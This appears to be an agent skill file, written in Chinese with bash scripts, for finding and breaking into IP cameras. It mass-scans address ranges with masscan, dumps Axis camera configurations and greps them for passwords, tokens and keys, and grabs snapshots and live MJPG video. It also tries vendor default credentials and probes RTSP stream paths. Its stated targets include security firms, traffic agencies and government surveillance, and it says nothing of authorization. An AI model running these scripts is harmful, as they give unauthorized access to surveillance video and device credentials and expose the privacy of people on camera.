iot-camera-recon

IoT 摄像头侦察技能

针对 IP 摄像头的评估，涵盖 RTSP 暴露情况、厂商配置端点、 ONVIF 服务枚举、身份验证控制和固件识别。

使用时机

• port-mass-scan 发现 RTSP（554）或摄像头 HTTP 端口（80、8010、8011）。
• 目标属于物理安防公司、交通管理机构或政府监控部门。
• Shodan 搜索在目标的 IP 范围内发现摄像头设备。
• port-service-discovery 发现 Axis/Hikvision/Dahua ONVIF 服务后。

前置条件

• terminal，并已安装 curl、python3。
• 批量扫描：masscan 或 RustScan（参见 port-mass-scan）。
• VLC 或 ffmpeg，用于验证视频流（可选）。

运行方法

# Quick camera detection on known IP
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50

# Mass RTSP discovery on a /24
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json

快速参考

摄像头品牌	默认 HTTP 端口	快照 URL	配置 URL	默认凭据
Axis	80、8010	/axis-cgi/jpg/image.cgi	/axis-cgi/admin/param.cgi?action=list	root:pass、root:admin
Hikvision	80、554	/ISAPI/Streaming/channels/101/picture	/System/configurationFile?auth=...	admin:12345、admin:admin
Dahua	80、554	/cgi-bin/snapshot.cgi	/cgi-bin/configManager.cgi?action=getConfig	admin:admin、admin:password
Intelbras	80	/cgi-bin/snapshot.cgi	/web/cgi-bin/hi3510/param.cgi	admin:admin、admin:123456
ONVIF	80、8899	不适用（SOAP）	/onvif/device_service	admin:admin

流程

阶段 1 — 批量发现摄像头

RANGE="$1"  # e.g., [REDACTED_IP]/16
OUTDIR="$OUTDIR/cameras"
mkdir -p "$OUTDIR"

echo "[*] Camera hunt on $RANGE"

# Masscan for RTSP + camera HTTP ports
masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"

# Extract IPs with open camera ports
HITS=$(python3 -c "
import json
with open('$OUTDIR/masscan_cameras.json') as f:
    ips = set()
    for line in f:
        try:
            data = json.loads(line.strip()) if line.strip() else {}
            ips.add(data.get('ip', ''))
        except: pass
    for ip in sorted(ips):
        print(ip)
" 2>/dev/null)

echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"

# Probe each with curl
echo "$HITS" | while read ip; do
  echo "--- $ip ---"

  # Axis snapshot
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")
  [[ "$code" == "200" ]] && echo "  [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"

  # Axis config dump
  config=$(curl -sk --max-time 5 --connect-timeout 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)
  if [[ -n "$config" ]] && echo "$config" | grep -q "root.Brand"; then
    BRAND=$(echo "$config" | grep "root.Brand.Brand=" | cut -d= -f2 | tr -d '"')
    MODEL=$(echo "$config" | grep "root.Brand.ProdShortName=" | cut -d= -f2 | tr -d '"')
    FIRMWARE=$(echo "$config" | grep "root.Properties.Firmware.Version=" | cut -d= -f2 | tr -d '"')
    SERIAL=$(echo "$config" | grep "root.Properties.System.SerialNumber=" | cut -d= -f2 | tr -d '"')
    echo "  [CONFIG] $BRAND $MODEL — Firmware: $FIRMWARE — Serial: $SERIAL"
    echo "$config" | wc -l | xargs echo "  Parameters:"
  fi

  # Generic RTSP
  for port in 554 8554; do
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:$port/")
    [[ "$code" != "000" ]] && echo "  [RTSP] Port $port responds (HTTP $code)"
  done

  # ONVIF discovery (port 8899 or 80)
  for port in 8899 80; do
    resp=$(curl -sk --max-time 5 --connect-timeout 5 -X POST "http://$ip:$port/onvif/device_service" \
      -H "Content-Type: application/soap+xml" \
      -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>' 2>/dev/null)
    if echo "$resp" | grep -qi "manufacturer\|model\|serial"; then
      echo "  [ONVIF] Device info available on port $port"
    fi
  done
done

阶段 2 — 完全利用 Axis 摄像头

IP="$1"

echo "[*] Axis camera exploitation on $IP"

# 1. Snapshot
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"
echo "[+] Snapshot saved"

# 2. Full config dump (988 parameters on Axis P1378-LE)
curl -sk --max-time 10 --connect-timeout 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"
PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")
echo "[+] Config dump: $PARAM_COUNT parameters"

# 3. Extract sensitive parameters
echo "[*] Sensitive parameters:"
grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20

# 4. MJPG video stream
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &
sleep 3; kill %1 2>/dev/null
STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)
[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"

# 5. List available services
for svc in "admin" "viewer" "operator" "ptz" "applications" "local"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$IP:8010/axis-cgi/$svc/")
  [[ "$code" != "404" && "$code" != "000" ]] && echo "  Service: /axis-cgi/$svc/ (HTTP $code)"
done

阶段 3 — 测试默认凭据

IP="$1"
BRAND="${2:-axis}"  # axis, hikvision, dahua, intelbras

echo "[*] Default credential test on $IP ($BRAND)"

# Brand-specific default credentials
case "$BRAND" in
  axis)
    CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")
    AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"
    ;;
  hikvision)
    CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")
    AUTH_URL="http://$IP/ISAPI/System/deviceInfo"
    ;;
  dahua)
    CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")
    AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
    ;;
  intelbras)
    CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")
    AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
    ;;
  *)
    CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")
    AUTH_URL="http://$IP/"
    ;;
esac

for cred in "${CREDS[@]}"; do
  USER="${cred%%:*}"
  PASS="${cred##*:}"
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    -u "$USER:$PASS" "$AUTH_URL" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    echo "  [CRITICAL] DEFAULT CREDENTIALS: $cred"
  elif [[ "$code" == "401" ]]; then
    echo "  [-] $cred (auth failed)"
  else
    echo "  [$code] $cred"
  fi
done

阶段 4 — 访问 RTSP 视频流

IP="$1"
PORT="${2:-554}"

echo "[*] RTSP stream access on $IP:$PORT"

# Common RTSP paths
STREAMS=(
  "/live" "/stream" "/cam/realmonitor"
  "/h264" "/h264/ch1/main/av_stream"
  "/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"
  "/axis-media/media.amp" "/onvif1" "/onvif2"
)

for stream in "${STREAMS[@]}"; do
  RTSP_URL="rtsp://$IP:$PORT$stream"
  echo -n "  $stream: "

  # Test with ffmpeg (2 second probe)
  timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
  if [[ $? -eq 0 ]]; then
    echo "LIVE STREAM"
  else
    echo "no response"
  fi
done

# Try with default credentials
for cred in "admin:admin" "admin:12345" "root:pass"; do
  RTSP_URL="rtsp://${cred}@$IP:$PORT/live"
  timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
  [[ $? -eq 0 ]] && echo "  [CRITICAL] RTSP stream accessible with $cred"
done

注意事项

• CGNAT 会阻止直接访问摄像头。 许多摄像头位于运营商级 NAT 之后，无法从互联网访问。
• RTSP over UDP 不可靠。 使用 -rtsp_transport tcp 可靠地测试视频流。
• 配置转储可能非常大。 Axis 配置文件为 50-200KB。使用 --max-time，避免在连接缓慢时一直等待。
• 视频流占用大量带宽。 先测试快照，再进行短时间的视频流探测。
• 摄像头固件很少更新。 在 2026 年扫描时遇到 2020 年的固件很常见——不要假定已安装补丁。

验证

• 快照 URL 必须返回有效的 JPEG 图像（使用 file 命令检查）。
• 配置转储必须包含摄像头专属参数（品牌、型号、序列号、固件版本）。
• RTSP 视频流必须生成视频帧（使用 ffprobe 或 VLC 验证）。
• 默认凭据必须能够访问受保护的端点（使用凭据时 HTTP 200，不使用时 HTTP 401）。
• 必须记录所有暴露的参数：品牌、型号、序列号、固件版本、网络配置和发现的凭据。